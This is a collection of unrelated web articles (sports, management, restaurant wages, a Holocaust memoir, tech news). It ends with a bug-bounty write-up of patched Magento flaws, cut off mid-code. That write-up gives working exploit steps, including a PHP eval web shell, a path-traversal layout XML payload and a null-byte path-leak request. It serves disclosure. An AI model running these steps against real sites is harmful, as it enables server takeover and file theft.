in trouble for something? So no, I’m not at that place with him.” Jones was supposed to rematch Daniel Cormier in the UFC 200 main event. Just days before the event, though, he was flagged with a potential anti-doping violation and pulled him from the card. On top of losing a solid portion of the prime years of his career, White said Jones’ poor decision-making and repeated incidents have been a stiff financial blow for the athlete. So much so that White's prediction Jones bank account could be up to eight-figures richer if not for the indiscretions. “He’s lost probably $20 million,” White said. “He’s probably the greatest talent we’ve ever seen in the sport. It’s sad to see it go like this. And the unfortunate part is, time off is nobody’s friend in this sport. You have to stay active, you have to stay busy. I don’t know what the reason is. Time off is never anybody’s friend in the fight game.”	{ "pile_set_name": "OpenWebText2" }
8/30/2016 Dear Gemba Coach, Does respect for humanity mean the same as respect for people? I hear that the literal translation of the Japanese phrase “respect for people” is really respect for “humanness” – whatever that means? I honestly don’t know, but it’s a very interesting point. I don’t know a word of Japanese, but Jon Miller, who does, makes a similar point here: he says the original Toyota phrase really means “holding precious what it is to be human.” Assumptions are always so easy to make, in particular with assumptions on underlying theories. Our Western approach to organizing work is deeply steeped in the desire to turn human beings into robots. We keep thinking that humans are fallible in a way systems are not – human error. Modern organizational thinking started with Frederick II of Prussia who beat the hell out of his neighbors by creating the first modern army, transforming haphazard regiments of condemned criminal and aristocratic officers into obedient automatons, inventing much of the bureaucratic concepts we now take for granted, such as rules, roles, uniforms, controls, etc. Respect for people doesn’t start with challenging others – it starts with challenging ourselves. Adam Smith and Max Weber codified this system by showing that (1) work could be broken down into smaller and smaller specialisms and that (2) very large organizations could be run as “rational” bureaucracies by requiring individuals to play impersonal and dispassionate “roles” – the perfect grey civil servant (to oppose the arbitrary, colorful aristocrat). Frederick Taylor perfected the system by having experts minutely optimize the working rules and create incentive systems to persuade workers to conform. From the mid-sixties, these techniques that had so far been applied to blue-collar workers spread to white-collar workers as computer systems could now regulate everyone’s work. (In the lean movement, we see traces of such thinking in ideas such as “leader standard work” and so on.) In this context, respect in the usual sense of the word is a real concern. Indeed, the very system is brutally disrespectful as it forces human beings to behave like machines: passionless, repetitive, mechanical. Not surprisingly, such organizations take all meaning out of work by taking people for granted and forcing onto them mindless tasks, disconnected from their values and day-to-day problems, which overrides their everyday judgment and demands they have no supportive relationship at work. Of course “respect” is an issue, considering what the Taylorist/bureaucratic system demands of a person in exchange for employment. Core Concept of Lean On the other hand, this is very much the reflection of the Western organizational tradition (with its corresponding dream of abandoning all forms of organization and returning to craftsmanship as if it were better, sort of the heroic fantasy of the working world). Industrial firms in Japan did pick up many of these traits, but, certainly in the early days at Toyota, they, from the start, valued humans over machines. The goal of early jidoka was to make machines more human-like, not humans more machine-like. These engineers understood that, first, only humans could really master any operation and (as well as because) only humans could be creative. To this day, Toyota cultivates a few operators that make parts by hand who continue to perfect their craft, for engineers to draw their inspiration from them when designing new generations of machines. Sharpening manual craft is seen as the key to smart automation. Indeed, the idea when automating is not just to reduce the work burden with machines, but indeed to have machines stop and identify what the problem is. Kaizen, or the opportunity for humans to be creative and display this creativity, is the core concept of lean’s entire managerial approach. The two following Toyota slides from my father’s sensei describe the reasoning about human resources: If we take this at face value, it does change radically how we can think about “respect for people.” The management imperative is to create an environment where people can be creative and truly enjoy their work. What Humans Need Interestingly, this is also a question the high profile tech companies such as Google, Facebook, etc. are asking themselves. Rather than work with tradition, they attack the problem by pouring over the reams of data they have about performance, and although it is very, very hard to generalize about human performance, some common themes are appearing. To work serenely and productively, humans seem to need: Clear line of sight: Understand the purpose of work by the leader and fundamentally agree that this purpose fits with one’s own values (not being asked to do something that goes against one’s deeply held beliefs); Good team: A team where each member feels confident both in the competence and goodwill of fellow team members, and doesn’t need to wear the “corporate face” at work, but can come as oneself, discuss ideas aloud, make suggestions, take initiative and most importantly, try things and make mistakes knowing that this is okay and will be supported by the team, not blamed; Supportive immediate boss: People join companies and leave their bosses – having a supportive boss makes a huge difference. Supportive means being (1) fair, (2) showing you how to do stuff and (3) taking into account your opinion when you have one and taking on board the obstacles that you encounter so you can work out specific solutions together. Intuitive work environment: The more intuitive the environment, the more we trust it. The harder we work to make the environment intuitive, the more we get attached to it. On the other hand, if the very work environment is a daily challenge, it’s easy to get distracted from the core mission and only focus on how the workplace is supposed to work. There is nothing more dispiriting than being constantly interrupted in the process of achieving simple tasks . Stability and space to grow: Humans need both stability and challenge, which is part of the fun. They need stability of working conditions as well as some space for initiative and development. We are all both loss averse and prone to habituation (we get used to what we have so it’s no longer so desirable). This is precisely what keeps us creative, but also an incredibly difficult balance to manage. Where Respect Begins If we place it in this context, we can see that “respect for people” can mean something quite different from the casual sense of respect as being polite and not criticizing others. Respect means seeing the potential in every person and working hard at creating the conditions for this potential to realize itself, which means designing a working environment “natural” for humans to work, think and be creative, rather than one that constrains humans into behaving like soulless robots. As a manager, this can be tested on the gemba at any moment by looking at any person there and asking yourself: Do I have a mental image of the potential I see in this person (or do I immediately focus on what they are doing wrong that I have to correct)? Can I see what I can change to support this person in realizing their potential (or do I focus on how they should better adapt to the existing work environment)? Respect for people doesn’t start with challenging others – it starts with challenging ourselves.	{ "pile_set_name": "OpenWebText2" }
Cheers? The Daily Beast has ranked Norfolk Number 2 on its list of the 25 Drunkest Cities in America, ahead of all others except Boston. The city earned the honor based on three factors: The 15.1 average alcoholic drinks consumed by adults per month, the 19.9% of the population classified as binge drinkers and the 5.2% of the population classified as heavy drinkers. Rounding out the top five were Milwaukee, Charleston, South Carolina and Austin, Texas. Read more at The Daily Beast	{ "pile_set_name": "OpenWebText2" }
Two years ago, St. Paul-based Punch Neapolitan Pizza’s strategic initiative to raise wages struck many in the industry as a stunt. Since then, though, the nine-unit chain has raised wages further, and the effort has been much chronicled and lauded, including by President Obama during his 2014 State of the Union address. The raises have been cited as a socially responsible template for an industry that has long relied on low wages and weak benefits. They also have been cited by critics to paint the rest of the industry as exploitive of its labor force. From 2014 to 2016, Minnesota restaurants will have been hit with a 31 percent increase in minimum wage plus the impacts of the Affordable Care Act (ACA). Recently the city of Minneapolis proposed—then temporarily withdrew—a series of labor regulations that threatened changes in scheduling obligations and benefits costs. Are times good enough for the hospitality industry to pay more? Americans are eating out like never before. A recent Bloomberg report indicated restaurant spending now outstrips grocery purchases in the U.S. Despite that, Minnesota eateries are crying uncle. Article continues after advertisement Local developers and industry insiders cite a host of negative effects, including national chains that won’t locate in the state and local operators postponing expansion plans. One of them is Blue Plate Restaurant Group CEO David Burley (Freehouse, Lowry, Longfellow Grill). Wary of the next shoe to drop, he notes “I love doing business in Minneapolis. But how do you forecast out three years right now?” Punch’s contrarian approach has been repeatedly cited to refute arguments like Burley’s, yet much is misunderstood about Punch’s wage initiative and its broader applicability to the local restaurant trade. And despite media reports and the suggestions of labor advocates, the effort has not made Punch more profitable, nor was it ever about social justice. “I’m a do-gooder,” says Punch founder and co-owner John Sorrano. “A do-gooder for Punch.” Higher wages as growth strategy “We did decide to prioritize employees over profits, but that’s a small part of the story” says Punch co-owner John Puckett. In 2013, when it was still hiring some employees at minimum wage, Punch decided to set an entry wage of $10 an hour (now $11), nearly $3 hour over Minnesota’s minimum wage. What Punch embarked on was far more than a wage initiative. It was a rethinking of the company that required higher wages as a means to that end. “The core principles translate to any business,” says Puckett. “Are you willing as an owner to make the investment? “We’re making a $3 million to $4 million investment in wages to deliver a commensurate increase in the quality of what we do. It is a lot of work. You have to create systems to measure your success.” Punch now carefully tracks everything from food quality to cleanliness to customer feedback. The motivation was to solidify the quality of Punch’s food and service and position Punch for growth, stability and increased returns. “We look at it as a 10- to 20-year process,” says Sorrano. “We’re trying to build a great company.” Puckett decided Punch could not build the type of company they wanted without stabilizing its labor base: “Two years ago we were having trouble attracting people and experiencing unacceptable levels of turnover.” But Punch had flexibility because “we don’t have shareholders,” says Puckett. That’s relevant because “training employees is very costly,” says Jenny Nyquist, Punch’s vice president of operations. But she is quick to remind that “turnover is costly. The waste involved with untrained employees is costly.” Puckett and Sorrano’s wage initiative was rooted in a study of leaders in retail and hospitality. “Only two restaurant companies [Pal’s and Mighty Fine Burgers] have won the Malcolm Baldrige National Quality Awards,” says Puckett, “and what characterizes them is that they have incredibly low turnover and high sales per unit. It takes a low-turnover workforce to run that success.” Punch Neapolitan Pizza Stores: 9 (Eagan in development) Expansion targets: Ridgedale area, Vadnais Heights, Edina, Roseville Annual revenue: $2 million/store Unit cost: $1 million to build Given the growing conversation about living wages, the question is whether what Punch is doing is broadly applicable or if Punch is a high-profile outlier. Privately held Punch’s unit profitability “is still as healthy as anyone in the industry,” says Puckett, of an industry where a 10 percent margin is considered solid and 5 percent more typical. But Punch has little in common with the bulk of locally owned eateries, which primarily employ tipped employees. Only one of its nine units has servers who are tipped, while the rest operate in a mode that the industry calls “fast casual.” Fast-casual operates with a fraction of the employees of traditional restaurants and with substantially smaller real estate footprints, according to Gary Karp, executive vice president at food/restaurant analyst firm Technomic Inc. Punch says it outperforms most restaurants in this sector—doing $2 million in average unit volume in a niche where half that would be considered solid. (Technomic estimates Punch earns $1.63 million per unit.) That’s important because “you need an incredibly craveable product” that allows revenues well in excess of average. Puckett and Sorrano believe that ace in the hole allows them to add labor overhead with little risk. “You can’t make that kind of investment,” says Puckett “on a typical $700 million [in annual unit revenue].” He says Punch’s outsize success has given it the flexibility to make the investments in labor and systems. And it doesn’t hurt, Puckett adds, that “our customer base likes that we are treating employees well.” Cue the best practices There was a time when Punch was run by the instincts of its co-partners. “We used to be all gut and do it our way,” says Sorrano. “But we’ve come to believe that you can’t grow [number of stores] to double digits and do it that way.” The company believes the key is instituting best practices to improve quality, systematize operations and deliver consistency to customers. “We’ve studied Costco and In n’ Out Burger—category leaders,” says Puckett. “We’ve found they are also leaders on compensation.” Punch has created defined pathways for career and income growth within its stores. This allows employees to work toward promotions and Punch to provide numerous layers of opportunity for evolution. They are also leaders in training and believe in old-school apprenticeship. “At In ‘n Out you can’t start as a manager,” says Puckett, “so we’ve established an eight-level system” employees progress through (see graphic, above), and a training regimen called Punch University. “It’s designed to move people on that path,” says Sorrano, “which is why we’ve gotta grow.” The results have satisfied Puckett and Sorrano, despite uneven revenue trends (see chart, below) and a hit in profitability. “Our quality of employee is significantly better than [those of] our primary competition,” Puckett says. The downside is “we’re running 17 percent higher in labor cost. . . . The cost [of paying people more] hits immediately, but the savings take time.” Over a barrel on overhead If most fast-casual restaurants could not sustain Punch’s wages, what does that say for the full-service tip-based model, the most common independent restaurant format? Substantial full-service restaurants employ two to three times the staff as a fast-casual restaurant and have seen wages rise by a third since the state started raising minimum wages. Technomic’s Karp says many full-service restaurateurs are trying to adjust their concepts “to try to get into the fast-casual space.” “We will have less full-service casual restaurants,” adds Blue Plate’s Burley. “You will have to get used to standing in line to order and never seeing a server after your food is delivered.“ For restaurants that stay the course, “all of us our going to have to take price increases,” says chef and restaurateur Scott Foster, who co-owns Nova Restaurant Group, which operates five restaurants in the west Twin Cities suburbs and Rochester. But Burley says price hikes are fraught with risk for operators like Blue Plate that market a value proposition. “I don’t think of fast-casual or quick service as our competition, but our guests are starting to,” he says. “Five Guys has a damn good burger. Is mine worth two times as much?” Blue Plate’s profitability has been squeezed because “our labor and benefits are running 41 percent [of overhead, up from 38 percent in 2013], the highest it’s ever been.” This is a refrain heard repeatedly from restaurateurs trying to hit a 30 to 35 percent labor benchmark, but watching it creep up and up. One high-volume restaurateur that caters to a business clientele but did not want to be identified notes, “I’m already charging $10.95 for bacon and eggs. People won’t pay more.” And wage pressures are not likely to abate. One much-discussed initiative is a $15 minimum wage, already in place in Seattle and San Francisco. “I wouldn’t object to a $15 minimum wage with a tip credit (lower base wage for tipped employees),” says Burley. “That would stabilize casual dining.” The alternative is a fundamental change in the restaurant matrix. Burley, an Australian native, notes that in his homeland “restaurants are far more expensive, and as a result people don’t eat out as much.” What the American restaurant wage and benefit environment buys diners is convenience. We are the land of the all-day restaurant, lavishly staffed to offer quick service and consummate flexibility. Continued increases in overhead could drive restaurants to a more European model, with limited meal hours, small footprints and less staff. For now, operators are treading cautiously, and many aren’t expanding. “Absolutely it’s delayed our next project,” says Burley. “When Minneapolis started talking about the big scheduling and benefit changes, we had a deal done in Northeast; I had hired an architect. We pulled the plug on it.” Foster has a more optimistic take. “The only way to win in this environment is to grow sales. My mindset is not to cut back, but try to do better. Still, this ambition is rooted in a precarious paradigm: “If you can’t do $4 million to $5 million revenue per [full-service restaurant] in the current environment, you can’t make money or justify” growth, says Foster’s partner Pat Woodring. “It’s grow or die.” This article is reprinted in partnership with Twin Cities Business.	{ "pile_set_name": "OpenWebText2" }
I sensed Theodore had an enormous crush on my mother. Unlike his young girls, my mom was substantial, well-read and rather aloof. And beautiful. Recently, my mom confirmed that he would come on to her frequently and officially asked to date her after my father died. She demurred. The fact that he could disrespect my father whom he loved and admired seemed very sad and self-destructive to me. I was my typical diffident-with-a-tinge-of-sullenness, pre-teen self as I set up the tape recorder in front of Theodore. I dreaded talking to him. I started asking questions, none of which were good or insightful. He answered them politely and respectfully, but then he shifted the dynamic and began doing what he did best, telling me a story. Theodore came from an aristocratic, German-Jewish family in Düsseldorf, Germany. Being Jewish was not of primary importance to his parents or to him. Wealth, status, culture and urbanity were. Theodore's mother was a beauty. His father was a highly successful publisher, but somehow balked at Theodore's desire to become an artist and was cruel and exacting. Theodore excelled at school and particularly at chess, which was well-suited to his analytical brain. He remembered his childhood being difficult because of his father, but in terms of wealth, luxury and standing, it was exceedingly comfortable. Then came the Nazis. Theodore's family made no preparations for escape, thinking their wealth and influence would protect them from what had befallen lower class Jews. After all, The Gottliebs didn't really care about their Judaism. They were German first and foremost and part of the Nazi platform was restoring Germany to its rightful former glory. They thought they would get by relatively unscathed. But they didn't. The Nazis stripped them of their paintings, burned the books in their library, took Theodore's mother's furs and gowns and gave them to officers' wives. The Gottliebs were reduced to the same dreadful state as the Jews they had formerly regarded with contempt. They were shipped off to Dachau, separated and most died or were slaughtered. Theodore told me one of the unspeakable horrors he witnessed was watching guard dogs tear apart men as their Nazi handlers laughed. The only reason Theodore survived was because he signed over his family's multi-million dollar fortune. I'm still not sure why, after the Nazi's had his signed papers, they released him. That might have been a good time to interrupt him and ask questions, but I didn't. Theodore told me that he ran away to Switzerland, using his chess prowess to hustle for money. He scraped by until the Swiss authorities caught up with him and deported him to Austria, still under Nazi control. He was in real danger of being sent back to Concentration Camp, but then something extraordinary happened. Albert Einstein, who had been one of his mother's lovers, used all his resources to smuggle Theodore out of Austria and bring him to California. Again, I should have asked him questions about this stunning information, but I remained speechless and useless. Theodore found a job as a janitor at Stanford University, but became known for defeating professor after professor at chess, sometimes many at once. He moved to San Francisco, where he started performing, then to Los Angeles, where Orson Wells put the moves on Theodore's young wife. Then onto New York. The rest of the story I kind of already knew. However, Theodore never mentioned he had a son. My parents must have known, but I never knew he existed. I only found out about his son doing research for this piece. I can only assume the subject was painful to him. I am stunned Theodore told me what he did. At twelve years old, I knew who Albert Einstein was, but I knew nothing of lovers, affairs and most of all, the horrors of that particular dark time in history. I had heard about the Holocaust. In fact, my dad's only attempts to teach me and my sister about our Jewish heritage were to pick up food from Zabar's at least twice a week, later demand that me and my sister date Jewish guys (we failed miserably at that) and lastly, that we never forget the Holocaust. I knew it was awful but somehow it didn't make much of an impact on my child brain. What Theodore told me that day in his calm, quiet, cultured German accent was so incomprehensible, it made me dizzy. How could any person do this to another human being, let alone try to eliminate an entire race of people, my race, in a methodical, pseudo-scientific way? It was pure evil. Like Theodore's family, I hardly considered myself Jewish. My mom was English-Irish Catholic. She had converted so her in-laws wouldn't die of broken hearts, their beloved boy marrying a shiksa! To her, being Jewish was a technicality. My dad was hardly more observant. He chose for me and my sister to go to a waspy, all-girl school on the Upper East Side. When he went for the school tour, he saw all the little girls lined up in their pinafores curtseying goodbye to their teacher and he must have thought, "This is as far away from Brooklyn as I'm going to get." The Preppy Handbook became my bible, teaching me how to operate in foreign surroundings and fly under the radar. As Theodore talked, I realized that if I had been born during that time, the Nazis wouldn't have cared about my blonde hair or my lack of cultural identity. I would have been as Jewish as anyone else. I would have been lower than a rat. No amount of snobbery or seeming sophistication would have spared me the Gottlieb's tragedy. I looked at Theodore differently after that school project. I understood his darkness, his gallows' humor, the wildness, mania and the ferocity of his stage presence. Comedy was his way of channeling and processing the horrors of what he had seen. He called what he performed "stand-up tragedy." His unwilling, intimate connection with death and evil forced him to confront the unthinkable. A line from his act: "I've gazed into the abyss and the abyss gazed into me, and neither of us liked what we saw." How perfect is that? He showed me the identification tattoo on his arm. The Holocaust had actually happened, it happened to him. He was continuing to endure through his wit and his doggedness. For the first time, I didn't see him as terrifying or perverted or someone to pity. I saw him as incredibly brave. He was a survivor. I wish I could find that interview and the paper I wrote for my class. We didn't receive grades in sixth grade, but I know did get an "Excellent." I remember Theodore being pleased.	{ "pile_set_name": "OpenWebText2" }
米Adobe Systemsが7月17日の世界絵文字デーに合わせて行った調査によれば、SNSやメッセージングで普段から絵文字を使うユーザーの約61％が、仕事上の連絡でも絵文字を使っているという。同社は、絵文字の人気が高まり、職場のコミュニケーションでも絵文字が受け入れられつつあると分析している。職場で絵文字を使うと自分の好感度が上がると感じる人は78％、信頼感が上がると感じる人は63％に上った。絵文字活用のビジネスも米国では、SMSでピザの絵文字を送るだけでデリバリーピザを注文できるサービスや、絵文字を使ったアニメーションでディズニーの作品を紹介する「As Told by Emoji」なども登場している。企業から送られるメールのタイトルに絵文字が含まれていると、メールを開きたくなると答えたユーザーは約58％に上り、約44％は絵文字を使って宣伝された商品を買いたくなると答えた。絵文字を送信するだけで食べ物や衣料品、映画のチケットなどを買えるサービスを使ってもいいと考える人は64％いたという。調査の対象は米国で毎週1回以上絵文字を使う16〜73歳のユーザー1000人。絵文字が生活や人間関係、コミュニケーションに与える影響を調査した。	{ "pile_set_name": "OpenWebText2" }
I'm glad the Patriots lost now the minute by minute, play by play status updates on facebook will end. 622 shares	{ "pile_set_name": "OpenWebText2" }
Peter Parker has traditionally had two major women in his life: Gwen Stacy and Mary Jane Watson. (No, we're not gonna include Aunt May.) And while she was absent from The Amazing Spider-Man this summer, it looks like the redhead of the group will soon be making her return. Variety reports that The Descendants' Shailene Woodley is in early talks to play MJ in Amazing Spider-Man 2 for director Marc Webb. The film is about to start casting, and Woodley is said to be Sony's top choice for the role. The first film's Andrew Garfield and Emma Stone will of course be returning as Peter Parker and Gwen Stacy.Character breakdowns are floating around Hollywood now, and they reportedly reveal that Electro is one of the villains "the filmmakers are considering" for the film. Additionally, an unspecified villain and Harry Osborn are also said to be in the cast.Production starts early next year. The trade paper claims that means the filmmakers still have time to settle on which villain will show up, so I guess the basics of the script are still being hashed out? In any event, there was a bit of Electro-like lightning in the post-credits sequence of the first film, wasn't there? Talk to Movies Editor Scott Collura on Twitter at, on IGN atand on	{ "pile_set_name": "OpenWebText2" }
Artist Candy Chang creates work that envisions the future of ritual in public life. She is a TED Senior Fellow, Urban Innovation Fellow, and World Economic Forum Young Global Leader, and her work has been exhibited in the Smithsonian American Art Museum, MoMA, and Venice Architecture Biennale. Learn more here. News Public Art Candy Chang and James A. Reeves are currently working on a book on their public installation Light the Barricades, which was on view in Los Angeles at the Annenberg Space for Photography in 2019. The series of interactive installations reimagines the wall as a site for contemplating our inner obstructions and is part of the exhibition WALLS: Defend, Divide, and the Divine. Music Candy Chang and James A. Reeves’s original soundtrack for their Light the Barricades installation is featured in a three-part anthology of ambient music via Brooklyn label Mysteries of the Deep. Listen to it here or here. April 2020 Public Art Candy Chang’s participatory public installation Confessions is currently on view in the Wonderspaces show Elsewhere in Scottsdale, Arizona. October 12, 2019 - March 2020 Exhibition Candy Chang’s Before I Die installation is part of the exhibition No Spectators: The Art of Burning Man. Initially at the Smithsonian American Art Museum March 30, 2018—January 21, 2019, the exhibition traveled to the Cincinnati Art Museum April 26—September 2, 2019, and will now be at the Oakland Museum of California October 12, 2019—March 22, 2020. March 30, 2018 - March 22, 2020	{ "pile_set_name": "OpenWebText2" }
Most of us have had fantasies of trashing our boss's office over news we don't like (sorry, Tim), but some GM workers in Korea made them reality. Pro tip: Don't do that. Upon hearing that bonuses would be withheld due to recent financial squeezes, GM's union workers in Korea stormed the CEO's office and trashed the place. You can see the mayhem in the video above, published Thursday and spotted by Bloomberg, which involves several impressively large desks. Nobody was injured, but GM Korea noted the "violent incident" in a statement and said that it had notified the police of the carnage. Legal action is all but guaranteed to follow, and something tells me that's going to hurt more than the lack of a bonus. GM has suffered pretty dismal sales in Korea this year. Its March sales were down 58 percent this year, following a 48 percent drop in February's year-over-year figures. The automaker has asked the local union for concessions to help shore up its finances, but nothing has been approved yet. GM said in late March that it may file for bankruptcy if concessions aren't agreed upon by April 20.	{ "pile_set_name": "OpenWebText2" }
The NBA has seen a few sizable changes in Commissioner Adam Silver's era, including a revamp of the All-Star Game and draft-lottery formats. However, Silver told reporters that the Association is exploring more seismic changes, including reducing games from 48 to 40 minutes and adding an in-season tournament. Journalist Mark Woods reported Silver's comments: Tim Bontemps of ESPN followed up on the midseason tournament comments: The 40-minute game idea may seem radical, but it's been discussed before. Zach Lowe of ESPN (then of Grantland) reported the following on Sept. 10, 2013: "Several sources around the league, both at the highest team levels and within the league office, say commissioner-in-waiting Adam Silver has signaled a desire to at least discuss moving to 40-minute games. About two years ago, Silver informally polled all 30 league general managers on the notion of cutting overtime from five to three minutes, per several GMs who remember the poll." Lowe provided two "immediate sources of appeal" for a switch to 40-minutes: the aligning of NBA and FIBA rules and the creation of a more unpredictable and entertaining product. However, Lowe also provided some interesting counterpoints: Namely, coaches may still rely on their starters to play the same amount of minutes, significantly decreasing the bench's impact. That, in turn, could lead to a drop in reserve's salaries given their lessened responsibilities. But Lowe also posited that the number of games should be discussed before the number of minutes: "In the short run, there are lots of folks in the league who would prefer tackling 82 games before tackling 48 minutes," he wrote. That's an astute point, and tying things altogether, the league could conceivably add a midseason tournament and reduce the amount of regular-season court time (via games, not minutes) simultaneously. The league could shorten the amount of regular-season games (say from 82 to 72) and replace the missing action and revenue with a midseason All-Star tournament where players can pick their own sides. The games could be played at a central location (let's say Las Vegas). Teams could play shorter round-robin games before a knockout tournament, somewhat like the current Las Vegas Summer League format. The tournament could also build a ton of fan interest, especially if fans can bet on the games. Of course, that idea likely won't happen, but stars are still resting despite a decrease in back-to-backs. Eventually, something must be done.	{ "pile_set_name": "OpenWebText2" }
Several hotels will be offering group and/or discounted rates for Freaky Deaky Halloween party goers. Check out the hotels offering these rates by selecting your preferred city below: Hotels in Milwaukee, WI Hotels in Chicago, IL	{ "pile_set_name": "OpenWebText2" }
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Elon Musk’s thoughts on artificial intelligence are pretty well known at this point. He famously compared work on AI to “summoning the demon,” and has warned time and time again that the technology poses an existential risk to humanity. At a gathering of US governors this weekend, he repeated these sentiments, but also stressed something he says is even more important: that governments need to start regulating AI now. “I have exposure to the very cutting edge AI, and I think people should be really concerned about it,” Musk told attendees at the National Governors Association summer meeting on Saturday. “I keep sounding the alarm bell, but until people see robots going down the street killing people, they don’t know how to react, because it seems so ethereal.” AI represents a “fundamental risk to the existence of civilization” The solution, says Musk, is regulation: “AI is a rare case where we need to be proactive about regulation instead of reactive. Because I think by the time we are reactive in AI regulation, it’s too late.” He added that what he sees as the current model of regulation, in which governments step in only after “a whole bunch of bad things happen,” is inadequate for AI because the technology represents “a fundamental risk to the existence of civilization.” As ever, Musk is not talking about the sort of artificial intelligence that companies like Google, Uber, and Microsoft currently use, but what is known as artificial general intelligence — some conscious, super-intelligent entity, like the sort you see in sci-fi movies. Musk (and many AI researchers) believe that work on the former will eventually lead to the latter, but there are plenty of people in the science community who doubt this will ever happen, especially in any of our lifetimes. What researchers are worried about is how current forms of narrow and “stupid” artificial intelligence can be abused. David Ha, a researcher working with Google Brain, said on Twitter in response to Musk’s comments that he was “more concerned about” machine learning being used to “mask unethical human activities,” than the threat of super-intelligent AI. François Chollet, the creator of the deep neural net platform Keras, replied that while artificial intelligence “makes a few existing threats worse” it was unclear if it created any new ones. “Arguably the greatest threat is mass population control via message targeting and propaganda bot armies. [Machine learning is] not a requirement though,” said Chollet. These uses of AI are far less exciting than what Musk is discussing, but unlike the threat from Skynet, they pose real and immediate problems. Algorithms created by machine learning are already being deployed in a number of questionable areas in the US, including helping to sentence criminals. And researchers warn that the Trump administration’s lack of interest in AI (and science generally) is going to mean that many aspects of this emerging field won’t get the scrutiny they deserve. In this light, Musk’s comments are at least bringing some attention to an under-examined topic. You can watch Musk’s interview in full below, with his remarks on AI starting at around 48 minutes in:	{ "pile_set_name": "OpenWebText2" }
I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is a second paper which covers two vulnerabilities I discovered on Magento, a big ecommerce CMS that’s now part of Adobe Experience Cloud. These vulnerabilities have been responsibly disclosed to Magento team, and patched for Magento 2.3.0, 2.2.7 and 2.1.16. Both of vulnerabilities need low privileges admin account, usually given to Marketing users : The first vulnerability is a command execution using path traversal, and requires the user to be able to create products The second vulnerability is a local file read, and requires the user to be able to create email templates Here are the details ! Command Execution in Product Creation Magento has its own way to define the layout of a product, into the Design tab of the Product creation system. It’s format is XML-based and follows a syntax documented by Magento themselves. The full documentation is here : https://devdocs.magento.com/guides/v2.3/frontend-dev-guide/layouts/xml-instructions.html The interesting thing is the possibility to instantiate blocks with the <block> tag, and then to call methods on it with the <action> tag. This will only work if the object implements the Block interface, by the way. However, I was searching if there’s anything interesting to do with this, and saw the following function for class Magento\Framework\View\Element\Template : /** * Retrieve block view from file (template) * * @param string $fileName * @return string / public function fetchView($fileName) { $relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName); \Magento\Framework\Profiler::start( 'TEMPLATE:' . $fileName, ['group' => 'TEMPLATE', 'file_name' => $relativeFilePath] ); if ($this->validator->isValid($fileName)) { $extension = pathinfo($fileName, PATHINFO_EXTENSION); $templateEngine = $this->templateEnginePool->get($extension); $html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars); } else { $html = ''; $templatePath = $fileName ?: $this->getTemplate(); $errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'" . " block's name: '{$this->getNameInLayout()}'"; if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) { throw new \Magento\Framework\Exception\ValidatorException( new \Magento\Framework\Phrase( $errorMessage ) ); } $this->_logger->critical($errorMessage); } \Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName); return $html; } This code is responsible for loading templates from file; there’s two extension authorized that are phtml (to treat it as PHP template file) and xhtml (to treat it as plain HTML file I imagine?). Obviously, we want the PHP thing, that’s more fun. The $fileName parameter is passed into the \Magento\Framework\View\Element\Template\File\Validator::isValid() function, that checks if the file is in certain directories (compiled, module or themes directories). This check used the isPathInDirectories to do so : protected function isPathInDirectories($path, $directories) { if (!is_array($directories)) { $directories = (array)$directories; } foreach ($directories as $directory) { if (0 === strpos($path, $directory)) { return true; } } return false; } This function only checks if the provided path begins by a specific directory name (ex: /path/to/your/magento/app/code/Magento/Theme/view/frontend/ ). However, it does not control that’s the resolved path is still in those whitelisted directories. That means there’s an obvious path traversal in this function that we can call through a Product Design. However, it will only process .phtml file as PHP code, which is a forbidden extension on most upload forms. “Most of upload forms” means there’s exception! You can create a file with “Custom Options”, and one is “File”. I imagine this is in case the customer wants to send a 3D template or instructions for its order. The real reason isn’t that important, the fact is that you can allow extensions you want to be uploaded, including phtml . Once the item is ordered, the uploaded file will be stored in /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension This is sufficient for having a command execution payload. Here is the complete steps : Log in with a user that has some low admin privileges and is allowed to create products First of all, create a new product, with a new Custom Options of type File , with .phtml as an authorized extension and some pieces in stock to order one. Go on the frontend, on the product you just created. Upload your .phtml and set the item in your cart. For example, my file is named “ blaklis.phtml ” and contains “ <?php eval(stripslashes($_REQUEST[0])); ?> “ The .phtml file is uploaded to /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml . For example, for my file, the location will be /your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml You must have the full path to the application to use the fetchView function. An easy way to retrieve it is to run the following request : POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1 [...] Connection: close remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}} This will make CURL crash and display an error with full path in it In the design tab of the product, add a 2 column layouts with the following XML in Layout Update XML : <referenceContainer name="sidebar.additional"> <block class="Magento\Backend\Block\Template" name="test"> <action method="fetchView"> <argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../../pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml</argument> </action> </block> </referenceContainer> Go to the frontend page of this product; your code should executed. This flaw was not that obvious, but has been fun to search for! Local File Read in Email Templating This one is a lot easier; in fact, it was a pretty obvious one. Email templating allow to use some special directives, surrounded by {{ }} . One of these directives is {{css 'path'}} to load the content of a CSS file into the email. The path parameter is vulnerable to path traversal, and can be used to inject any file into the email template. The functions that are managing this directive are the following : public function cssDirective($construction) { if ($this->isPlainTemplateMode()) { return ''; } $params = $this->getParameters($construction[2]); $file = isset($params['file']) ? $params['file'] : null; if (!$file) { // Return CSS comment for debugging purposes return '/ ' . __('"file" parameter must be specified') . ' /'; } $css = $this->getCssProcessor()->process( $this->getCssFilesContent([$params['file']]) ); if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) { // Return compilation error wrapped in CSS comment return '/' . PHP_EOL . $css . PHP_EOL . '/'; } elseif (!empty($css)) { return $css; } else { // Return CSS comment for debugging purposes return '/ ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */'; } } public function 